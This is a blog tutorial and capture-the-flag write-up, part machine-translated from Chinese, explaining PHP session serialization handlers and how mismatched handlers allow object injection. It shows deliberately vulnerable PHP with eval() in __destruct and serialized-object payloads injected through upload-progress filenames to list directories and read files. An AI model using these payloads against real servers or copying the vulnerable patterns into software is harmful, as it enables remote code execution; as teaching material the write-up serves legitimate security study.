Analysis of PHP session deserialization vulnerability principle

what is session

Official SessionDefinition: In computers, especially in network applications, it is called "session control". SessionObjects store properties and configuration information required for a specific user session. Mainly have the following characteristics:

sessionThe save location is on the server side

sessionusually used in conjunction cookiewith

Because of the stateless nature of HTTP, the server generates a sessionflag to identify the current user state.

In essence, it sessionis a data storage technology that can maintain the server side. That is, the sessiontechnology is a technology that temporarily stores data based on the back-end that is different from the database.

PHP session workflow

Taking PHP as an example, sessionthe principle of understanding

  1. When a PHP script uses session_start() to open sessiona session, it will be automatically detectedPHPSESSID

    • If Cookieexists, getPHPSESSID

    • If Cookieit doesn't exist, create one PHPSESSIDand Cookiesave it to the browser as a response header

  2. Initialize the superglobal variable $_SESSIONto an empty array

  3. PHP matches the corresponding file by PHPSESSIDgoing to the specified location ( PHPSESSIDfile storage location)

    • The file exists: read the file content (by deserialization), store the data $_SESSIONin

    • The file does not exist: session_start() creates a PHPSESSIDnamed file

  4. At the end of the program execution, $_SESSIONall the data saved in the program will be serialized and stored in the PHPSESSIDcorresponding file.

Specific schematic diagram:

image.png

【一>所有资源获取<一】 1、网络安全学习路线 2、电子书籍(白帽子) 3、安全大厂内部视频 4、100份src文档 5、常见安全面试题 6、ctf大赛经典题目解析 7、全套工具包 8、应急响应笔记

php.ini session配置

php.ini里面有较重要的session配置项

session.save_path="/tmp"      --设置session文件的存储位置
session.save_handler=files    --设定用户自定义存储函数,如果想使用PHP内置session存储机制之外的可以使用这个函数
session.auto_start= 0          --指定会话模块是否在请求开始时启动一个会话,默认值为 0,不启动
session.serialize_handler= php --定义用来序列化/反序列化的处理器名字,默认使用php  
session.upload_progress.enabled= On --启用上传进度跟踪,并填充$ _SESSION变量,默认启用
session.upload_progress.cleanup= oN --读取所有POST数据(即完成上传)后立即清理进度信息,默认启用

复制代码

PHP session序列化机制

根据php.ini中的配置项,我们研究将$_SESSION中保存的所有数据序列化存储到PHPSESSID对应的文件中,使用的三种不同的处理格式,即session.serialize_handler定义的三种引擎:

处理器 对应的存储格式
php 键名 + 竖线 + 经过 serialize() 函数反序列处理的值
php_binary 键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize() 函数反序列处理的值
php_serialize (php>=5.5.4) 经过 serialize() 函数反序列处理的数组

php处理器

首先来看看默认session.serialize_handler = php时候的序列化结果,代码如下

<?php
//ini_set('session.serialize_handler','php');
session_start();
$_SESSION['name'] = $_GET['name'];
echo $_SESSION['name'];
?>

复制代码

image.png

为了方便查看,将session存储目录设置为session.save_path = "/www/php_session"PHPSESSID文件如下

1、文件名

文件名为sess_mpnnbont606f50eb178na451od,其中mpnnbont606f50eb178na451od就是后续请求头中Cookie携带的PHPSESSID的值 (如上图浏览器中已存储)

2、文件内容

php处理器存储格式

键名 竖线 经过 serialize() 函数反序列处理的值
$_SESSION['name']的键名:name

php_binary处理器

使用php_binary处理器,即session.serialize_handler = php_binary

<?php
ini_set('session.serialize_handler','php_binary');
session_start();
# 为了方便ACSII显示,将键名设置为36个字符长度
$_SESSION['namenamenamenamenamenamenamenamename'] = $_GET['name'];
echo $_SESSION['namenamenamenamenamenamenamenamename'];
?>

复制代码

由于三种方式PHPSESSID文件名都是一样的,这里只需要查看文件内容

image.png

键名的长度对应的 ASCII 字符 键名 经过 serialize() 函数反序列处理的值.
$ namenamenamenamenamenamenamenamename s:6:"harden";

php_serialize 处理器

使用php_binary处理器,即session.serialize_handler = php_serialize

<?php
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['name'] = $_GET['name'];
echo $_SESSION['name'];
?>

复制代码

文件内容即经过 serialize() 函数反序列处理的数组,a:1:{s:4:"name";s:6:"harden";}

image.png

session的反序列化漏洞利用

session的反序列化漏洞,就是利用php处理器和php_serialize处理器的存储格式差异而产生,通过具体的代码我们来看下漏洞出现的原因

漏洞成因

首先创建session.php,使用php_serialize处理器来存储session数据

<?php
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['session'] = $_GET['session'];
echo $_SESSION['session'];
?>

复制代码

test.php,使用默认php处理器来存储session数据

<?php
session_start();
class f4ke{
    public $name;
    function __wakeup(){
      echo "Who are you?";
    }
    function __destruct(){
      eval($this->name);
    }
}
$str = new f4ke();
?>

复制代码

接着,我们构建URL进行访问session.php

http://www.session-serialize.com/session.php?session=|O:4:"f4ke":1:{s:4:"name";s:10:"phpinfo();";}

复制代码

image.png

打开PHPSESSID文件可看到序列化存储的内容

a:1:{s:7:"session";s:45:"|O:4:"f4ke":1:{s:4:"name";s:10:"phpinfo();";}

复制代码

image.png

漏洞分析:

session.php程序执行,我们将|O:4:"f4ke":1:{s:4:"name";s:10:"phpinfo();";}通过php_serialize处理器序列化保存成PHPSESSID文件;

由于浏览器中保存的PHPSESSID文件名不变,当我们访问test.phpsession_start();找到PHPSESSID文件并使用php处理器反序列化文件内容,识别格式即

键名 竖线 经过 serialize() 函数反序列处理的值
a:1:{s:7:"session";s:45:"

php处理器会以|作为分隔符,将O:4:"f4ke":1:{s:4:"name";s:10:"phpinfo();";}反序列化,就会触发__wakeup()方法,最后对象销毁执行__destruct()方法中的eval()函数,相当于执行如下:

$_SESSION['session'] = new f4ke();
$_SESSION['session']->name = 'phpinfo();';

复制代码

我们访问test.php,即可直接执行phpinfo()函数

image.png

CTF例题:PHPINFO

题目地址:http://web.jarvisoj.com:32784/index.php

复制代码
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
    public $mdzz;
    function __construct()
    {
        $this->mdzz = 'phpinfo();';
    }

    function __destruct()
    {
        eval($this->mdzz);
    }
}
if(isset($_GET['phpinfo']))
{
    $m = new OowoO();
}
else
{
    highlight_string(file_get_contents('index.php'));
}
?>

复制代码

我们可以看到ini_set('session.serialize_handler', 'php'),判断可能存在session反序列化漏洞,根据代码逻辑,访问URL加上phpinfo参数新建对象触发魔术方法执行phpinfo()函数,进一步查看session.serialize_handler配置

image.png

可见php.inisession.serialize_handler = php_serialize,当前目录中被设置为session.serialize_handler = php,因此存在session反序列化利用的条件

补充知识

phpinfo文件中

local value(局部变量:作用于当前目录程序,会覆盖master value内容):php
master value(主变量:php.ini里面的内容):php_serialize

复制代码

那么我们如何找到代码入口将利用代码写入到session文件?想要写入session文件就得想办法在$_SESSION变量中增加我们可控的输入点

补充知识

Session 上传进度(此特性自 PHP 5.4.0 后可用)

session.upload_progress.enabledINI 选项开启时,PHP 能够在每一个文件上传时监测上传进度。 这个信息对上传请求自身并没有什么帮助,但在文件上传时应用可以发送一个POST请求到终端(例如通过XHR)来检查这个状态

当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,上传进度可以在[ S E S S I O N ] ( h t t p s : / / w w w . p h p . n e t / m a n u a l / z h / r e s e r v e d . v a r i a b l e s . s e s s i o n . p h p ) 中获得。当 P H P 检测到这种 P O S T 请求时,它会在 _SESSION](https://www.php.net/manual/zh/reserved.variables.session.php)中获得。 当PHP检测到这种POST请求时,它会在` _SESSION`中添加一组数据, 索引是 session.upload_progress.prefixsession.upload_progress.name连接在一起的值。

翻译成人话就是,当检测Session 上传进度这一特性是开启状态,我们可以在客户端写一个文件上传的功能,文件上传的同时,POST一个与php.ini中设置的session.upload_progress.name同名变量PHP_SESSION_UPLOAD_PROGRESS,如下图,即可写入$_SESSION,进一步序列化写入session文件

image.png

下面是官方给出的一个文件上传时监测进度例子:

<form action="upload.php" method="POST" enctype="multipart/form-data">
 <input type="hidden" name="<?php echo ini_get("session.upload_progress.name"); ?>" value="123" />
 <input type="file" name="file1" />
 <input type="file" name="file2" />
 <input type="submit" />
</form>

复制代码

其中name=""也可以设置为name="PHP_SESSION_UPLOAD_PROGRESS"

在session中存储的上传进度,如下所示:

<?php
$_SESSION["upload_progress_123"] = array(
 "start_time" => 1234567890,   // The request time  请求时间
 "content_length" => 57343257, // POST content length 长度
 "bytes_processed" => 453489,  // Amount of bytes received and processed 已接收字节
 "done" => false,              // true when the POST handler has finished, successfully or not 是否上传完成
 "files" => array(//上传的文件
  0 => array(
   "field_name" => "file1",       // Name of the <input/> field  input中设定的变量名
   // The following 3 elements equals those in $_FILES             
   "name" => "foo.avi",           //文件名
   "tmp_name" => "/tmp/phpxxxxxx",
   "error" => 0,
   "done" => true,                // True when the POST handler has finished handling this file
   "start_time" => 1234567890,    // When this file has started to be processed
   "bytes_processed" => 57343250, // Amount of bytes received and processed for this file
  ),
  // An other file, not finished uploading, in the same request
  1 => array(
   "field_name" => "file2",
   "name" => "bar.avi",
   "tmp_name" => NULL,
   "error" => 0,
   "done" => false,
   "start_time" => 1234567899,
   "bytes_processed" => 54554,
  ),
 )
);

复制代码

其中,session中的field_namename都是我们可控的输入点!

下面我们就开始解题拿到flag

首先,http://web.jarvisoj.com:32784/index.php?phpinfo查询设置

image.png

session.upload_progress.enabled = On   --表明允许上传进度跟踪,并填充$ _SESSION变量
session.upload_progress.cleanup = Off  --表明所有POST数据(即完成上传)后,不清理进度信息($ _SESSION变量)

复制代码

即允许上传进度跟踪且结束后不清除数据,更有利使用session.upload_progress.name来将利用代码写入session文件

构造POST表单提交上传文件

<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
 <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
 <input type="file" name="file" />
 <input type="submit" />
</form>

复制代码

构造序列化字符串作为payload(利用代码)

<?php
class OowoO
{
    public $mdzz='print_r(scandir(dirname(__FILE__)));';
}
$obj = new OowoO();
echo serialize($obj);
?>
//O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";}

复制代码

为了防止"被转义,我们在payload中加入\

随意选择文件,点击表单提交,使用抓包工具burpsuite抓取请求包

image.png

并修改filename值为

|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}

复制代码

发送请求包,代码执行过程分析:

image.png

因此直接执行print_r(scandir(dirname(__FILE__)));并返回

image.png

phpinfo查看当前目录,/opt/lampp/htdocs/ image.png

构造最终payload读取Here_1s_7he_fl4g_buT_You_Cannot_see.php文件内容,即flag

|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:88:\"print_r(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));\";}

复制代码

image.png

Guess you like

Origin juejin.im/post/7079670019956670471